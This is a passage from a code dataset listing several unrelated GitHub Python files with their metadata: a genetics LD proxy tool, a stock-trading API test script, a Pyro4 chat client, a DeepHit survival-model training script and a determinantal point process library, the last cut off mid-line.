bokeh.resources import CDN\n \n out_script, out_div = components(out_grid, CDN)\n #reset_output()\n\n # Print run time statistics\n pop_list = open(tmp_dir + \"pops_\" + request + \".txt\").readlines()\n print(\"\\nNumber of Individuals: \" + str(len(pop_list)))\n\n print(\"SNPs in Region: \" + str(len(out_prox)))\n\n duration = time.time() - start_time\n print(\"Run time: \" + str(duration) + \" seconds\\n\")\n\n # Return plot output\n return(out_script, out_div)\n\ndef main():\n tmp_dir = \"./tmp/\"\n\n # Import LDproxy options\n if len(sys.argv) == 5:\n snp = sys.argv[1]\n pop = sys.argv[2]\n request = False\n web = sys.argv[4]\n r2_d = \"r2\"\n window = 500000\n collapseTranscript = True\n elif len(sys.argv) == 6:\n snp = sys.argv[1]\n pop = sys.argv[2]\n request = sys.argv[3]\n web = sys.argv[4]\n r2_d = sys.argv[5]\n window = 500000\n collapseTranscript = True\n else:\n print(\"Correct useage is: LDproxy.py snp populations request (optional: r2_d)\")\n sys.exit()\n\n # Run function\n out_script, out_div, error_msg = calculate_proxy(snp, pop, request, web, r2_d, window, collapseTranscript)\n\n # Print output\n with open(tmp_dir + \"proxy\" + request + \".json\") as f:\n json_dict = json.load(f)\n try:\n json_dict[\"error\"]\n\n except KeyError:\n head = [\"RS_Number\", \"Coord\", \"Alleles\", \"MAF\", \"Distance\", \"Dprime\",\n \"R2\", \"Correlated_Alleles\", \"RegulomeDB\", \"Functional_Class\"]\n print(\"\\t\".join(head))\n temp = [json_dict[\"query_snp\"][\"RS\"], json_dict[\"query_snp\"][\"Coord\"], json_dict[\"query_snp\"][\"Alleles\"], json_dict[\"query_snp\"][\"MAF\"], str(json_dict[\"query_snp\"][\"Dist\"]), str(\n json_dict[\"query_snp\"][\"Dprime\"]), str(json_dict[\"query_snp\"][\"R2\"]), json_dict[\"query_snp\"][\"Corr_Alleles\"], json_dict[\"query_snp\"][\"RegulomeDB\"], json_dict[\"query_snp\"][\"Function\"]]\n print(\"\\t\".join(temp))\n for k in sorted(json_dict[\"proxy_snps\"].keys())[0:10]:\n temp = [json_dict[\"proxy_snps\"][k][\"RS\"], json_dict[\"proxy_snps\"][k][\"Coord\"], json_dict[\"proxy_snps\"][k][\"Alleles\"], json_dict[\"proxy_snps\"][k][\"MAF\"], str(json_dict[\"proxy_snps\"][k][\"Dist\"]), str(\n json_dict[\"proxy_snps\"][k][\"Dprime\"]), str(json_dict[\"proxy_snps\"][k][\"R2\"]), json_dict[\"proxy_snps\"][k][\"Corr_Alleles\"], json_dict[\"proxy_snps\"][k][\"RegulomeDB\"], json_dict[\"proxy_snps\"][k][\"Function\"]]\n print(\"\\t\".join(temp))\n print(\"\")\n\n else:\n print(\"\")\n print(json_dict[\"error\"])\n print(\"\")\n\n try:\n json_dict[\"warning\"]\n except KeyError:\n print(\"\")\n else:\n print(\"WARNING: \" + json_dict[\"warning\"] + \"!\")\n print(\"\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"CBIIT/nci-webtools-dceg-linkage","sub_path":"server/LDproxy.py","file_name":"LDproxy.py","file_ext":"py","file_size_in_byte":19741,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"} +{"seq_id":"44854758153","text":"import os, sys, ctypes\nimport win32com.client\nimport pandas as pd\nfrom datetime import datetime\nfrom slacker import Slacker\nimport time, calendar\n\n\n# 크레온 플러스 공통 OBJECT\ncpCodeMgr = win32com.client.Dispatch('CpUtil.CpStockCode')\ncpStatus = win32com.client.Dispatch('CpUtil.CpCybos')\ncpTradeUtil = win32com.client.Dispatch('CpTrade.CpTdUtil')\ncpStock = win32com.client.Dispatch('DsCbo1.StockMst')\ncpOhlc = win32com.client.Dispatch('CpSysDib.StockChart')\ncpBalance = win32com.client.Dispatch('CpTrade.CpTd6033')\ncpCash = win32com.client.Dispatch('CpTrade.CpTdNew5331A')\ncpOrder = win32com.client.Dispatch('CpTrade.CpTd0311') \n\n\n\nprint(\"cpCodeMgr: \", cpCodeMgr.CodeToName(\"A051910\")) # 종목 이름 - 110(get_stock_balance(code))\n\nprint(\"cpStatus1: \", cpStatus.IsConnect) # (크레온 플러스)연결 여부 체크 - 40(check_creon_system())\nprint(\"cpStatus2: \", cpStatus.LimitRequestRemainTime) # remain_time?? - 199(buy_etf(code)), 241(sell_all())\n\nprint(\"cpTradeUtil1: \", cpTradeUtil.TradeInit(0)) # X 주문 관련 초기화?? - 45(check_creon_system()), 82(get_stock_balance(code)), 115(get_current_cash()), 183(buy_etf(code)), 217(sell_all())\nprint(\"cpTradeUtil2: \", cpTradeUtil.AccountNumber[0]) # 계좌 번호 - 83(get_stock_balance(code)), 116(get_current_cash()), 184(buy_etf(code)), 218(sell_all())\nprint(\"cpTradeUtil3: \", cpTradeUtil.GoodsList(cpTradeUtil.AccountNumber[0], 1)) # -1:전체, 1:주식, 2:선물/옵션 - 84(get_stock_balance(code)), 117(get_current_cash()), 185(buy_etf(code)), 219(sell_all())\n\nprint(\"cpStock1: \", cpStock.SetInputValue(0, \"A051910\")) # 종목코드에 대한 가격 정보 - 52(get_current_price(code))\nprint(\"cpStock2: \", cpStock.BlockRequest()) # ?? - 53(get_current_price(code))\nprint(\"cpStock3: \", cpStock.GetHeaderValue(11)) # 현재가 - 54(get_current_price(code))\nprint(\"cpStock4: \", cpStock.GetHeaderValue(16)) # 매수호가 - 55(get_current_price(code))\nprint(\"cpStock5: \", cpStock.GetHeaderValue(17)) # 매도호가 - 56(get_current_price(code))\n\n# 이 밑으로 그냥 돌리면 에러남\n# print(\"cpOhlc1: \", cpOhlc.SetInputValue(0, \"A051910\")) # 종목코드 - 62(get_ohlc(code, qty))\n# print(\"cpOhlc2: \", cpOhlc.SetInputValue(1, ord('2')) # 1:기간, 2:개수 - 63(get_ohlc(code, qty))\n# print(\"cpOhlc3: \", cpOhlc.SetInputValue(4, qty) # 요청개수 - 64(get_ohlc(code, qty))\n# print(\"cpOhlc4: \", cpOhlc.SetInputValue(5, [0, 2, 3, 4, 5]) # 0:날짜, 2~5:OHLC - 65(get_ohlc(code, qty))\n# print(\"cpOhlc5: \", cpOhlc.SetInputValue(6, ord('D')) # D:일단위 - 66(get_ohlc(code, qty))\n# print(\"cpOhlc6: \", cpOhlc.SetInputValue(9, ord('1')) # 0:무수정주가, 1:수정주가 - 67(get_ohlc(code, qty))\n# print(\"cpOhlc7: \", cpOhlc.BlockRequest()) # ?? - 68(get_ohlc(code, qty))\n# print(\"cpOhlc8: \", cpOhlc.GetHeaderValue(3)) # 3:수신개수 - 69(get_ohlc(code, qty))\n\n\n# count = cpOhlc.GetHeaderValue(3) # 3:수신개수\n\n# for i in range(count): \n# index.append(cpOhlc.GetDataValue(0, i)) \n# rows.append([cpOhlc.GetDataValue(1, i), cpOhlc.GetDataValue(2, i),\n# cpOhlc.GetDataValue(3, i), cpOhlc.GetDataValue(4, i)]) \n# df = pd.DataFrame(rows, columns=columns, index=index) \n# return df\n# print(\"cpOhlc8: \", cpOhlc.GetDataValue(0, i)) # ?? - 74(get_ohlc(code, qty))\n# print(\"cpOhlc8: \", cpOhlc.GetDataValue(1, i)) # ?? - 75(get_ohlc(code, qty))\n# print(\"cpOhlc8: \", cpOhlc.GetDataValue(2, i)) # ?? - 75(get_ohlc(code, qty))\n# print(\"cpOhlc8: \", cpOhlc.GetDataValue(3, i)) # ?? - 76(get_ohlc(code, qty))\n# print(\"cpOhlc8: \", cpOhlc.GetDataValue(4, i)) # ?? - 76(get_ohlc(code, qty))\n\n# print(\"cpBalance\", ) #\n# 80: def get_stock_balance(code):\n # cpTradeUtil.TradeInit()\n # acc = cpTradeUtil.AccountNumber[0] # 계좌번호\n # accFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체, 1:주식, 2:선물/옵션\n # cpBalance.SetInputValue(0, acc) # 계좌번호\n # cpBalance.SetInputValue(1, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n # cpBalance.SetInputValue(2, 50) # 요청 건수(최대 50)\n # cpBalance.BlockRequest() \n\n# print(\"cpCash\", )\n# 113: def get_current_cash():\ncpTradeUtil.TradeInit()\nacc = cpTradeUtil.AccountNumber[0] # 계좌번호\naccFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체, 1:주식, 2:선물/옵션\ncpCash.SetInputValue(0, acc) # 계좌번호\ncpCash.SetInputValue(1, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\ncpCash.BlockRequest() \n# return cpCash.GetHeaderValue(9) # 증거금 100% 주문 가능 금액\nprint(\"cpCash: \", cpCash.GetHeaderValue(9)) # 잔고 - 122(get_current_cash())\n\n# cpOrder ...\ncpOrder.SetInputValue(0, \"2\") # 2: 매수\ncpOrder.SetInputValue(1, cpTradeUtil.AccountNumber[0]) # 계좌번호\ncpOrder.SetInputValue(2, cpTradeUtil.GoodsList(acc, 1)[0]) # 상품구분 - 주식 상품 중 첫번째\ncpOrder.SetInputValue(3, \"A051910\") # 종목코드\ncpOrder.SetInputValue(4, 0) # 매수할 수량\ncpOrder.SetInputValue(7, \"2\") # 주문조건 0:기본, 1:IOC, 2:FOK\ncpOrder.SetInputValue(8, \"12\") # 주문호가 1:보통, 3:시장가\n # 5:조건부, 12:최유리, 13:최우선 \n# 매수 주문 요청\nret = cpOrder.BlockRequest() \nprint(\"cpOrder: \", ret)\n\n\ndef get_current_cash():\n \"\"\"증거금 100% 주문 가능 금액을 반환한다.\"\"\"\n cpTradeUtil.TradeInit()\n acc = cpTradeUtil.AccountNumber[0] # 계좌번호\n accFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체, 1:주식, 2:선물/옵션\n cpCash.SetInputValue(0, acc) # 계좌번호\n cpCash.SetInputValue(1, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n cpCash.BlockRequest() \n return cpCash.GetHeaderValue(9) # 증거금 100% 주문 가능 금액\n\nprint(int(get_current_cash()))","repo_name":"wnsdud4206/stockauto","sub_path":"test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":6076,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"73618666339","text":"from datetime import datetime\n\nimport Pyro4\nimport sys\n# server = Pyro4.Proxy(f\"PYRONAME:mess.server\")\n\n# server_ip = \"localhost\"\n# server = Pyro4.core.Proxy(f\"PYRO:chat@{server_ip}:9090\")\n\n\ndef start_chatting(server):\n text = ''\n while (text != 'exit'):\n text = input(\"... \")\n now = datetime.now()\n server.send_message(text)\n print(f'sent at {now:%H:%M:%S} \\n')\n\n\nif __name__ == '__main__':\n try:\n url = sys.argv[1]\n server = Pyro4.core.Proxy(f\"{url}\")\n start_chatting(server)\n except (KeyboardInterrupt, EOFError):\n print('Goodbye! (:')\nexit\n","repo_name":"coolseaweed/head_first_design_patterns_python","sub_path":"chapter_11/rmi_example/rmi_client.py","file_name":"rmi_client.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"70289365541","text":"from utils import *\n# from modules import *\n# from network import *\nfrom class_DeepHit import *\nimport math\nimport torch\nimport numpy as np\nimport pandas as pd\nimport networkx as nx\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import DataLoader, TensorDataset\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torch.nn.parameter import Parameter\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\nimport random\n\n#==================add regularisation===========================\n\nground_truth_G = createGraph()\ndummy = pd.read_csv(\"synthetic_final.csv\")\n# dummy = pd.read_csv(\"metabric_deepSurv.csv\")\nlabel = np.asarray(dummy['label']); label = label.reshape((len(label),1))\ntime = np.asarray(dummy['time']).astype(int); time = time.reshape((len(time),1))\n# print(time)\nX = np.asarray(dummy[[\"x1\", \"x2\", \"x3\", \"x4\", \"x5\", \"x6\", \"x7\", \"x8\", \"x9\"]])\n# X = f_get_Normalization(X, 'standard')\n\ndata_variable_size = 9\nx_dims = 1\n\nnum_Event = int(len(np.unique(label)) - 1)\nnum_Category = int(np.max(time) * 1.2)\nprint(num_Category)\n\nmask1 = create_mask1(time,label,num_Event, num_Category)\nmask2 = create_mask2(time,label,num_Event, num_Category)\n\nX_train,X_test,Y_train,Y_test, E_train,E_test, mask1_train, mask1_test, mask2_train, mask2_test = train_test_split(X, time, label, mask1, mask2, test_size=0.2, random_state=1234)\n\nX_train,X_val,Y_train,Y_val, E_train,E_val, mask1_train, mask1_val, mask2_tain, mask2_val = train_test_split(X_train, Y_train, E_train, mask1_train, mask2_train, test_size=0.2, random_state=1234)\n\ndef f_get_minibatch(mb_size, x, label, time, mask1, mask2):\n idx = range(np.shape(x)[0])\n idx = random.sample(idx, mb_size)\n x_mb = torch.from_numpy(x[idx, :]).float()\n k_mb = torch.from_numpy(label[idx, :]) # censoring(0)/event(1,2,..) label\n t_mb = torch.from_numpy(time[idx, :])\n m1_mb = mask1[idx, :, :].float() #fc_mask\n m2_mb = mask2[idx, :].float() #fc_mask\n return x_mb, k_mb, t_mb, m1_mb, m2_mb\n\n#===================================\n# training:\n#===================================\n\ndef train(epoch, best_val_loss, ground_truth_G, lambda_A, c_A, optimizer, tau_A, graph_threshold, mask1_train, mask2_train, lr, data_variable_size, x_dims, num_Event, num_Category, alpha, beta, batch_size, X_train, Y_train, E_train):\n\n nll1_train = []\n kl_train = []\n mse_train = []\n shd_trian = []\n nll2_train = []\n\n survival.train()\n\n flat, events, time, temp_mask1, temp_mask2 = f_get_minibatch(batch_size, X_train, E_train, Y_train, mask1_train, mask2_train)\n\n optimizer.zero_grad()\n\n d_out = survival(flat)\n\n loss_nll2 = deephit_nll(d_out, events.float(), time.float(), temp_mask1)\n loss_rank = rank_loss(num_Event, num_Category, d_out, events.float(), time.float(), temp_mask2)\n\n loss = (alpha*loss_nll2) + (beta*loss_rank)\n\n loss.backward()\n loss = optimizer.step()\n\n nll2_train.append((alpha*loss_nll2.item())+(beta*loss_rank.item()))\n return np.mean(nll2_train), d_out\n\n#Define Random Hyperparameterss\ndef get_random_hyperparmeters():\n SET_LAYERS = [1,2,3] #number of layers\n SET_NODES = [50, 100, 150, 200] #number of nodes\n\n SET_ACTIVATION_FN = ['ELU', 'LeakyReLU', 'ReLU'] #non-linear activation functions\n\n SET_ALPHA = [0.1, 0.5, 1.0, 3.0, 5.0] #alpha values -> log-likelihood loss\n SET_BETA = [0.1, 0.5, 1.0, 3.0, 5.0] #beta values -> ranking loss\n SET_GAMMA = [0.1, 0.5, 1.0, 3.0, 5.0] #gamma values -> calibration loss\n\n # params = { 'EPOCH' : 30000,\n # 'keep_prob' : 0.6,\n # 'lr' : 1e-4,\n # 'h_dim_shared' : SET_NODES[np.random.randint(len(SET_NODES))],\n # 'h_dim_CS' : SET_NODES[np.random.randint(len(SET_NODES))],\n # 'num_layers_shared':SET_LAYERS[np.random.randint(len(SET_LAYERS))],\n # 'num_layers_CS':SET_LAYERS[np.random.randint(len(SET_LAYERS))],\n # 'active_fn': SET_ACTIVATION_FN[np.random.randint(len(SET_ACTIVATION_FN))],\n #\n # 'alpha':1.0, #default (set alpha = 1.0 and change beta and gamma)\n # # 'beta':SET_BETA[np.random.randint(len(SET_BETA))],\n # 'beta':0,\n # 'gamma':0, #default (no calibration loss)\n # # 'alpha':SET_ALPHA[np.random.randint(len(SET_ALPHA))],\n # # 'beta':SET_BETA[np.random.randint(len(SET_BETA))],\n # # 'gamma':SET_GAMMA[np.random.randint(len(SET_GAMMA))]\n # }\n\n params = { 'EPOCH' : 50000,\n 'keep_prob' : 0.4,\n 'lr' : 1e-4,\n 'h_dim_shared' : SET_NODES[np.random.randint(len(SET_NODES))],\n 'h_dim_CS' : SET_NODES[np.random.randint(len(SET_NODES))],\n 'num_layers_shared': SET_LAYERS[np.random.randint(len(SET_LAYERS))],\n 'num_layers_CS': SET_LAYERS[np.random.randint(len(SET_LAYERS))],\n 'active_fn': SET_ACTIVATION_FN[np.random.randint(len(SET_ACTIVATION_FN))],\n 'alpha':SET_ALPHA[np.random.randint(len(SET_ALPHA))], #default (set alpha = 1.0 and change beta and gamma)\n 'beta':0,\n 'gamma':0, #default (no calibration loss)\n # 'alpha':SET_ALPHA[np.random.randint(len(SET_ALPHA))],\n # 'beta':SET_BETA[np.random.randint(len(SET_BETA))],\n # 'gamma':SET_GAMMA[np.random.randint(len(SET_GAMMA))]\n }\n return params\n \nmax_c_INDEX = []\nfor i in range(10):\n #DAG-GNN Parameters\n print(\"Iter \"+str(i))\n z_dims = 1\n encoder_hidden = 64\n decoder_hidden = 64\n batch_size = 64\n encoder_dropout = 0\n decoder_dropout = 0\n factor = True\n lr_decay = 200\n gamma= 1\n c_A = 1\n tau_A = 0.0\n lambda_A = 0.\n graph_threshold = 0.3\n\n batch_size = 64\n #DeepHit Parameters\n input_dims={}\n input_dims['in_dim'] = data_variable_size\n input_dims['num_Event'] = num_Event\n input_dims['num_Category'] = num_Category\n\n params = get_random_hyperparmeters()\n EPOCH = params['EPOCH']\n lr = params['lr']\n\n network_settings={}\n network_settings['h_dim_shared'] = params['h_dim_shared']\n network_settings['h_dim_CS'] = params['h_dim_CS']\n network_settings['num_layers_shared'] = params['num_layers_shared']\n network_settings['num_layers_CS'] = params['num_layers_CS']\n network_settings['active_fn'] = params['active_fn']\n network_settings['keep_prob'] = params['keep_prob']\n network_settings['initial_W'] = 'xavier_normal'\n alpha = params['alpha']\n beta = params['beta']\n\n print(params)\n\n survival = DeepHit(input_dims, network_settings)\n\n #=======================================\n #set up training parameters\n #=======================================\n\n optimizer = optim.Adam(list(survival.parameters()), lr = lr)\n\n #===================================\n # main\n #===================================\n\n best_ELBO_loss = np.inf\n best_NLL1_loss = np.inf\n best_MSE_loss = np.inf\n best_NLL2_loss = np.inf\n best_epoch = 0\n best_ELBO_graph = []\n best_NLL1_graph = []\n best_MSE_graph = []\n\n h_A_new = torch.tensor(1.)\n h_tol = 1e-8\n k_max_iter = 1\n h_A_old = np.inf\n\n c_scores = []\n epoch_index = []\n for step_k in range(k_max_iter):\n for epoch in range(EPOCH):\n # print(\"iter: \"+str(step_k)+\" Epoch: \"+str(epoch))\n NLL2_loss, surv_out = train(epoch, best_ELBO_loss, ground_truth_G, lambda_A, c_A, optimizer, tau_A, graph_threshold, mask1_train, mask2_train, lr, data_variable_size, x_dims, num_Event, num_Category, alpha, beta, batch_size, X_train, Y_train, E_train)\n\n if NLL2_loss < best_NLL2_loss:\n best_NLL2_loss = NLL2_loss\n # print(NLL2_loss)\n\n if(epoch%1001==0):\n survival.train(mode = False)\n X_te = torch.Tensor(X_val).float()\n hr_pred2 = survival(X_te)\n hr_pred2 = hr_pred2.detach().numpy()\n\n EVAL_TIMES = [80, 160, 240]\n FINAL1 = np.zeros([num_Event, len(EVAL_TIMES), 1])\n result1 = np.zeros([num_Event, len(EVAL_TIMES)])\n for t, t_time in enumerate(EVAL_TIMES):\n eval_horizon = int(t_time)\n\n if eval_horizon >= num_Category:\n print( 'ERROR: evaluation horizon is out of range')\n result1[:, t] = -1\n else:\n # calculate F(t | x, Y, t >= t_M) = \\sum_{t_M <= \\tau < t} P(\\tau | x, Y, \\tau > t_M)\n risk = np.sum(hr_pred2[:,:,:(eval_horizon+1)], axis=2) #risk score until EVAL_TIMES\n for k in range(num_Event):\n # result1[k, t] = c_index(risk[:,k], te_time, (te_label[:,0] == k+1).astype(float), eval_horizon) #-1 for no event (not comparable)\n # result2[k, t] = brier_score(risk[:,k], te_time, (te_label[:,0] == k+1).astype(float), eval_horizon) #-1 for no event (not comparable)\n result1[k, t] = weighted_c_index(Y_train, (E_train[:,0] == k+1).astype(int), risk[:,k], Y_val, (E_val[:,0] == k+1).astype(int), eval_horizon) #-1 for no event (not comparable)\n\n tmp_valid = np.mean(result1)\n c_scores.append(tmp_valid)\n epoch_index.append(epoch)\n\n print(\"C-Index :\", (result1, epoch))\n\n # print(\"Best Epoch: {:04d}\".format(best_epoch))\n # m = max(c_scores)\n # print(\"Max C-index :\" , m)\n # max_c_INDEX.append((params, m))\n # test()\n # #Metric - Concordance index\n\n X_te = torch.Tensor(X_test).float()\n hr_pred2 = survival(X_te)\n hr_pred2 = hr_pred2.detach().numpy()\n\n EVAL_TIMES = [80, 160, 240]\n FINAL1 = np.zeros([num_Event, len(EVAL_TIMES), 1])\n result1 = np.zeros([num_Event, len(EVAL_TIMES)])\n for t, t_time in enumerate(EVAL_TIMES):\n eval_horizon = int(t_time)\n\n if eval_horizon >= num_Category:\n print( 'ERROR: evaluation horizon is out of range')\n result1[:, t] = -1\n else:\n # calculate F(t | x, Y, t >= t_M) = \\sum_{t_M <= \\tau < t} P(\\tau | x, Y, \\tau > t_M)\n risk = np.sum(hr_pred2[:,:,:(eval_horizon+1)], axis=2) #risk score until EVAL_TIMES\n for k in range(num_Event):\n # result1[k, t] = c_index(risk[:,k], te_time, (te_label[:,0] == k+1).astype(float), eval_horizon) #-1 for no event (not comparable)\n # result2[k, t] = brier_score(risk[:,k], te_time, (te_label[:,0] == k+1).astype(float), eval_horizon) #-1 for no event (not comparable)\n result1[k, t] = weighted_c_index(Y_train, (E_train[:,0] == k+1).astype(int), risk[:,k], Y_test, (E_test[:,0] == k+1).astype(int), eval_horizon) #-1 for no event (not comparable)\n\n FINAL1[:, :, 0] = result1\n\n ### SAVE RESULTS\n row_header = []\n for t in range(num_Event):\n row_header.append('Event_' + str(t+1))\n\n col_header1 = []\n for t in EVAL_TIMES:\n col_header1.append(str(t) + 'yr c_index')\n\n # c-index result\n df1 = pd.DataFrame(result1, index = row_header, columns=col_header1)\n\n print('--------------------------------------------------------')\n print('- C-INDEX: ')\n print(df1)\n print('--------------------------------------------------------')\n\n #End of Survival metric\n\n plt.plot(epoch_index, c_scores)\n plt.savefig('Iter_'+str(i+1)+'.png')\n plt.close()\n\n print(\"Best NLL2 loss: \",best_NLL2_loss)\n\nprint(max_c_INDEX)\n","repo_name":"anshks/myDeepHit","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11638,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"32985466","text":"# coding: utf8\n\"\"\" Implementation of the class :class:`MultivariateJacobiOPE` used in :cite:`GaBaVa19` for Monte Carlo with Determinantal Point Processes\n\nIt has 3 main methods:\n\n- :py:meth:`~dppy.multivariate_jacobi_ope.MultivariateJacobiOPE.sample` to generate samples\n- :py:meth:`~dppy.multivariate_jacobi_ope.MultivariateJacobiOPE.K` to evaluate the corresponding projection kernel\n- :py:meth:`~dppy.multivariate_jacobi_ope.MultivariateJacobiOPE.plot` to display 1D or 2D samples\n\"\"\"\n\nimport numpy as np\nimport itertools as itt\n\nfrom scipy import stats\nfrom scipy.special import beta, betaln, factorial, gamma, gammaln\nfrom scipy.special import eval_jacobi\n# from scipy.special import logsumexp\nimport matplotlib.pyplot as plt\n\nfrom dppy.random_matrices import mu_ref_beta_sampler_tridiag as tridiagonal_model\n\nfrom dppy.utils import check_random_state, inner1d\n\n\nclass MultivariateJacobiOPE:\n \"\"\"\n Multivariate Jacobi Orthogonal Polynomial Ensemble used in :cite:`GaBaVa19` for Monte Carlo with Determinantal Point Processes\n\n This corresponds to a continuous multivariate projection DPP with state space :math:`[-1, 1]^d` with respect to\n\n - reference measure :math:`\\\\mu(dx) = w(x) dx` (see also :py:meth:`~dppy.multivariate_jacobi_ope.MultivariateJacobiOPE.eval_w`), where\n\n .. math::\n\n w(x) = \\\\prod_{i=1}^{d} (1-x_i)^{a_i} (1+x_i)^{b_i}\n\n - kernel :math:`K` (see also :py:meth:`~dppy.multivariate_jacobi_ope.MultivariateJacobiOPE.K`)\n\n .. math::\n K(x, y) = \\\\sum_{\\\\mathfrak{b}(k)=0}^{N-1}\n P_{k}(x) P_{k}(y)\n = \\\\Phi(x)^{\\\\top} \\\\Phi(y)\n\n where\n\n - :math:`k \\\\in \\\\mathbb{N}^d` is a multi-index ordered according to the ordering :math:`\\\\mathfrak{b}` (see :py:meth:`compute_ordering`)\n\n - :math:`P_{k}(x) = \\\\prod_{i=1}^d P_{k_i}^{(a_i, b_i)}(x_i)` is the product of orthonormal Jacobi polynomials\n\n .. math::\n\n \\\\int_{-1}^{1}\n P_{k}^{(a_i,b_i)}(u) P_{\\\\ell}^{(a_i,b_i)}(u)\n (1-u)^{a_i} (1+u)^{b_i} d u\n = \\\\delta_{k\\\\ell}\n\n so that :math:`(P_{k})` are orthonormal w.r.t :math:`\\\\mu(dx)`\n\n - :math:`\\\\Phi(x) = \\\\left(P_{\\\\mathfrak{b}^{-1}(0)}(x), \\\\dots, P_{\\\\mathfrak{b}^{-1}(N-1)}(x) \\\\right)^{\\\\top}`\n\n :param N:\n Number of points :math:`N \\\\geq 1`\n :type N:\n int\n\n :param jacobi_params:\n Jacobi parameters :math:`[(a_i, b_i)]_{i=1}^d`\n The number of rows :math:`d` prescribes the ambient dimension of the points i.e. :math:`x_{1}, \\\\dots, x_{N} \\\\in [-1, 1]^d`.\n - when :math:`d=1`, :math:`a_1, b_1 > -1`\n - when :math:`d \\\\geq 2`, :math:`|a_i|, |b_i| \\\\leq \\\\frac{1}{2}`\n :type jacobi_params:\n array_like\n\n .. seealso::\n\n - :ref:`multivariate_jacobi_ope`\n - when :math:`d=1`, the :ref:`univariate Jacobi ensemble ` is sampled by computing the eigenvalues of a properly randomized :ref:`tridiagonal matrix ` of :cite:`KiNe04`\n - :cite:`BaHa16` initiated the use of the multivariate Jacobi ensemble for Monte Carlo integration. In particular, they proved CLT with variance decay of order :math:`N^{-(1+1/d)}` which is faster that the :math:`N^{-1}` rate of vanilla Monte Carlo where the points are drawn i.i.d. from the base measure.\n \"\"\"\n\n def __init__(self, N, jacobi_params):\n\n self.N, self.jacobi_params, self.dim =\\\n self._check_params(N, jacobi_params)\n\n self.ordering = compute_ordering(self.N, self.dim)\n\n self.deg_max, self.degrees_1D_polynomials =\\\n compute_degrees_1D_polynomials(np.max(self.ordering, axis=0))\n\n self.norms_1D_polynomials =\\\n compute_norms_1D_polynomials(self.jacobi_params, self.deg_max)\n\n self.square_norms_multiD_polynomials =\\\n np.prod((self.norms_1D_polynomials**2)[self.ordering,\n range(self.dim)],\n axis=1)\n\n self.mass_of_mu = self.square_norms_multiD_polynomials[0]\n\n self.rejection_bounds =\\\n compute_rejection_bounds(self.jacobi_params,\n self.ordering,\n log_scale=True)\n\n def _check_params(self, N, jacobi_params):\n \"\"\" Check that:\n\n - The number of points :math:`N \\\\geq 1`\n - Jacobi parameters\n - when :math:`d=1` we must have :math:`a_1, b_1 > -1`\n - when :math:`d \\\\geq 2` we must have :math:`|a_i|, |b_i| \\\\leq \\\\frac{1}{2}`.\n \"\"\"\n if type(N) is not int or N < 1:\n raise ValueError('Number of points N={} < 1'.format(N))\n\n dim = jacobi_params.size // 2\n\n if dim == 1 and not np.all(jacobi_params > -1):\n raise ValueError('d=1, Jacobi parameters must be > -1')\n elif dim >= 2 and not np.all(np.abs(jacobi_params) <= 0.5):\n raise ValueError('d={}, Jacobi parameters be in [-0.5, 0.5]^d'.format(dim))\n\n return N, jacobi_params, dim\n\n def eval_w(self, X):\n \"\"\"Evaluate :math:`w(x) = \\\\prod_{i=1}^{d} (1-x_i)^{a_i} (1+x_i)^{b_i}` which corresponds to the density of the base measure :math:`\\\\mu(dx) = w(x) dx`\n\n :param X:\n :math:`M\\\\times d` array of :math:`M` points :math:`\\\\in [-1, 1]^d`\n :type X:\n array_like\n\n :return:\n :math:`w(x) = \\\\prod_{i=1}^{d} (1-x_i)^{a_i} (1+x_i)^{b_i}`\n :rtype:\n array_like\n \"\"\"\n a, b = self.jacobi_params.T\n\n return np.prod((1.0 - X)**a * (1.0 + X)**b, axis=-1)\n\n def eval_multiD_polynomials(self, X):\n \"\"\"Evaluate\n\n .. math::\n\n \\\\mathbf{\\\\Phi}(X)\n := \\\\begin{pmatrix}\n \\\\Phi(x_1)^{\\\\top}\\\\\\\\\n \\\\vdots\\\\\\\\\n \\\\Phi(x_M)^{\\\\top}\n \\\\end{pmatrix}\n\n where :math:`\\\\Phi(x) = \\\\left(P_{\\\\mathfrak{b}^{-1}(0)}(x), \\\\dots, P_{\\\\mathfrak{b}^{-1}(N-1)}(x) \\\\right)^{\\\\top}` such that\n :math:`K(x, y) = \\\\Phi(x)^{\\\\top} \\\\Phi(y)`.\n Recall that :math:`\\\\mathfrak{b}` denotes the ordering chosen to order multi-indices :math:`k\\\\in \\\\mathbb{N}^d`.\n\n This is done by evaluating each of the `three-term recurrence relations `_ satisfied by each univariate orthogonal Jacobi polynomial, using the dedicated `see also SciPy `_ :func:`scipy.special.eval_jacobi` satistified by the respective univariate Jacobi polynomials :math:`P_{k_i}^{(a_i, b_i)}(x_i)`.\n Then we use the slicing feature of the Python language to compute :math:`\\\\Phi(x)=\\\\left(P_{k}(x) = \\\\prod_{i=1}^d P_{k_i}^{(a_i, b_i)}(x_i)\\\\right)_{k=\\\\mathfrak{b}^{-1}(0), \\\\dots, \\\\mathfrak{b}^{-1}(N-1)}^{\\\\top}`\n\n :param X:\n :math:`M\\\\times d` array of :math:`M` points :math:`\\\\in [-1, 1]^d`\n :type X:\n array_like\n\n :return:\n :math:`\\\\mathbf{\\\\Phi}(X)` - :math:`M\\\\times N` array\n :rtype:\n array_like\n\n .. seealso::\n\n - evaluation of the kernel :py:meth:`~dppy.multivariate_jacobi_ope.MultivariateJacobiOPE.K`\n \"\"\"\n poly_1D_jacobi = eval_jacobi(self.degrees_1D_polynomials,\n self.jacobi_params[:, 0],\n self.jacobi_params[:, 1],\n np.atleast_2d(X)[:, None])\\\n / 